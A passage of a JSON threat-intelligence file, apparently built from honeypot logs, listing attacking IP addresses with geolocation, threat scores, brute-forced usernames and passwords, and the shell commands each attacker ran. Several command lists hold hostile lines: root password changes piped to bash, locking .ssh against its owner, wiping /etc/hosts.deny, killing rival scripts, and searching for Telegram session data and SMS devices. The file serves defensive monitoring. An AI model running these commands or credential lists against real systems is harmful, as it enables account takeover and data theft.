        "kubernetes",
        "345gs5662d34",
        "atlas",
        "claude",
        "dev",
        "dev1",
        "dhiraj",
        "flussonic",
        "lee",
        "nikola",
        "rstudio",
        "sklep"
      ],
      "passwords_attempted": [
        "password",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Dhiraj123!",
        "Flussonic123!",
        "Kubernetes123!",
        "atlaspass",
        "dev1123",
        "lee1234",
        "nikola"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Kubernetes123!\\nbFdU0ggX9avQ\\nbFdU0ggX9avQ\\n\"|passwd",
        "echo -e \"Kubernetes123!\\nbFdU0ggX9avQ\\nbFdU0ggX9avQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131386,
      "as_org": "Long Van System Solution JSC",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T19:28:49.798000+00:00",
        "last_seen_30d": "2026-03-12T19:55:50.509000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "46.225.229.63": {
      "attack_count": 124,
      "first_seen": "2026-03-10T10:27:56.410Z",
      "last_seen": "2026-03-10T10:48:17.151Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "centos7",
        "345gs5662d34",
        "ankit",
        "clawd",
        "deployer",
        "informatica",
        "iot",
        "jirka",
        "labs",
        "mosquitto",
        "test01",
        "user001"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Informatica123!",
        "Iot123!",
        "Test01123",
        "ankit1234",
        "deployer1234",
        "user001123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nnTGbdO20eZrD\\nnTGbdO20eZrD\\n\"|passwd",
        "echo -e \"12345\\nnTGbdO20eZrD\\nnTGbdO20eZrD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:27:56.410000+00:00",
        "last_seen_30d": "2026-03-10T10:49:23.821000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "161.248.201.228": {
      "attack_count": 123,
      "first_seen": "2026-03-12T14:54:58.259Z",
      "last_seen": "2026-03-12T15:21:44.349Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "botuser",
        "cisco",
        "claude",
        "dis",
        "dspace",
        "grafana",
        "node",
        "roy",
        "sami"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "123456",
        "123456aA.",
        "1qaz2wsx3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "dspace123",
        "roy1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:X2foiIPMVJ3w\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 153528,
      "as_org": "ExtentIT Solution Limited",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T14:54:58.259000+00:00",
        "last_seen_30d": "2026-03-12T15:22:52.255000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "119.13.107.45": {
      "attack_count": 119,
      "first_seen": "2026-03-09T01:06:18.337Z",
      "last_seen": "2026-03-09T01:25:30.845Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "kingbase",
        "345gs5662d34",
        "exx",
        "george",
        "ll",
        "lzy",
        "mata",
        "n8n",
        "root",
        "webmin",
        "wiki"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Haslo123",
        "N8n123",
        "ll123",
        "webmin123!",
        "wiki"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nnpkPSrfrVpsz\\nnpkPSrfrVpsz\\n\"|passwd",
        "echo -e \"12345678\\nnpkPSrfrVpsz\\nnpkPSrfrVpsz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T01:06:18.337000+00:00",
        "last_seen_30d": "2026-03-09T01:26:34.131000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "189.50.142.78": {
      "attack_count": 118,
      "first_seen": "2026-03-02T07:36:32.202Z",
      "last_seen": "2026-03-02T08:33:39.240Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1q2w3e4r!Q@W#E$R",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf12345",
        "Digital@2025",
        "QWERasdf1234",
        "Qq123456..",
        "Qq123456789",
        "heslo",
        "hetzner2025",
        "mima",
        "qwe"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9hIv8ZTA1Riu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Prudente",
      "asn": 28330,
      "as_org": "AS28330",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:36:32.202000+00:00",
        "last_seen_30d": "2026-03-02T08:34:45.216000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 34
      }
    },
    "59.36.72.234": {
      "attack_count": 104,
      "first_seen": "2026-03-19T11:19:24.468Z",
      "last_seen": "2026-03-19T11:35:58.020Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "rohit",
        "345gs5662d34",
        "kibana",
        "public",
        "rancher",
        "ricardo",
        "rootftp",
        "user8"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Public123!",
        "Ricardo",
        "Rootftp123!",
        "kibanakibana",
        "rancher123",
        "rohit@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"rohit@123\\nH7aoqtOwhuHI\\nH7aoqtOwhuHI\\n\"|passwd",
        "echo -e \"rohit@123\\nH7aoqtOwhuHI\\nH7aoqtOwhuHI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T11:19:24.468000+00:00",
        "last_seen_30d": "2026-03-19T11:37:04.754000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 23
      }
    },
    "139.59.188.56": {
      "attack_count": 85,
      "first_seen": "2026-03-15T15:27:25.802Z",
      "last_seen": "2026-03-15T15:41:13.201Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1234567890",
        "admin123",
        "password1",
        "qwerty123",
        "123abc",
        "1q2w3e4r",
        "pass123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:27:25.802000+00:00",
        "last_seen_30d": "2026-03-15T15:51:16.471000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 85,
        "Suricata": 36
      }
    },
    "45.143.203.239": {
      "attack_count": 83,
      "first_seen": "2026-03-04T09:40:37.988Z",
      "last_seen": "2026-03-05T19:48:43.187Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456789",
        "123qaz!@#QAZ",
        "3245gs5662d34",
        "345gs5662d34",
        "Welcome@888!",
        "ZXCzxc123",
        "aaa123123",
        "demo",
        "fernando",
        "rootadmin",
        "temp123",
        "voyage"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "echo \"root:DW7HFf3md6kU\"|chpasswd|bash",
        "lockr -ia .ssh",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kemerovo",
      "asn": 207713,
      "as_org": "Global Internet Solutions LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:40:37.988000+00:00",
        "last_seen_30d": "2026-03-05T19:58:52.404000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 30
      }
    },
    "34.52.142.23": {
      "attack_count": 75,
      "first_seen": "2026-03-10T13:31:20.145Z",
      "last_seen": "2026-03-10T13:32:15.892Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2415",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T13:31:20.145000+00:00",
        "last_seen_30d": "2026-03-10T13:33:25.694000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 41
      }
    },
    "34.79.72.247": {
      "attack_count": 72,
      "first_seen": "2026-03-10T13:03:58.434Z",
      "last_seen": "2026-03-10T13:05:00.122Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5343",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T13:03:58.434000+00:00",
        "last_seen_30d": "2026-03-10T13:06:09.367000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "103.110.21.183": {
      "attack_count": 50,
      "first_seen": "2026-03-30T05:00:59.583Z",
      "last_seen": "2026-03-30T05:06:24.065Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132754,
      "as_org": "Realtel Network Services Pvt Ltd",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T05:00:59.583000+00:00",
        "last_seen_30d": "2026-03-30T05:07:24.348000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.103.247.214": {
      "attack_count": 50,
      "first_seen": "2026-03-22T23:00:41.474Z",
      "last_seen": "2026-03-22T23:34:29.399Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "db2fenc1",
        "edubook",
        "ftp",
        "gateway",
        "root",
        "rr",
        "shun",
        "smbuser",
        "topgui",
        "upload"
      ],
      "passwords_attempted": [
        "12345",
        "1234",
        "12345678",
        "Gateway123",
        "Rr123!",
        "carlos",
        "db2fenc1db2fenc1",
        "edubookedubook",
        "topgui@123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T23:00:41.474000+00:00",
        "last_seen_30d": "2026-03-22T23:44:19.521000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 33
      }
    },
    "223.123.43.6": {
      "attack_count": 50,
      "first_seen": "2026-03-23T02:22:10.549Z",
      "last_seen": "2026-03-23T02:27:34.995Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T15:40:33.018000+00:00",
        "last_seen_30d": "2026-03-23T02:28:39.964000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 30,
        "Tanner": 1
      }
    },
    "187.144.140.254": {
      "attack_count": 36,
      "first_seen": "2026-03-10T23:33:22.969Z",
      "last_seen": "2026-03-10T23:34:12.558Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "admin1",
        "admintelecom",
        "cisco",
        "debug",
        "default",
        "epicrouter",
        "micros",
        "supervisor",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "00000",
        "000000",
        "1234",
        "8D8E",
        "Admin",
        "conexant",
        "davox",
        "default",
        "micros",
        "oelinux123",
        "password",
        "synnet",
        "telecomadmin",
        "user",
        "zyad1234"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Zapopan",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:33:22.969000+00:00",
        "last_seen_30d": "2026-03-10T23:35:17.502000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 3
      }
    },
    "190.218.203.151": {
      "attack_count": 35,
      "first_seen": "2026-03-11T16:00:13.194Z",
      "last_seen": "2026-03-11T16:03:24.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T16:00:13.194000+00:00",
        "last_seen_30d": "2026-03-11T16:05:06.783000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "45.74.244.130": {
      "attack_count": 20,
      "first_seen": "2026-03-12T07:37:32.356Z",
      "last_seen": "2026-03-12T07:37:51.762Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "345ert#$%ERT",
        "a1234567a"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 212219,
      "as_org": "Hosting Dunyam Bilisim Teknolojileri Ticaret Limited Sirketi",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:37:32.356000+00:00",
        "last_seen_30d": "2026-03-12T07:38:52.983000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "61.54.41.114": {
      "attack_count": 18,
      "first_seen": "2026-03-29T22:22:59.370Z",
      "last_seen": "2026-03-29T22:24:55.837Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
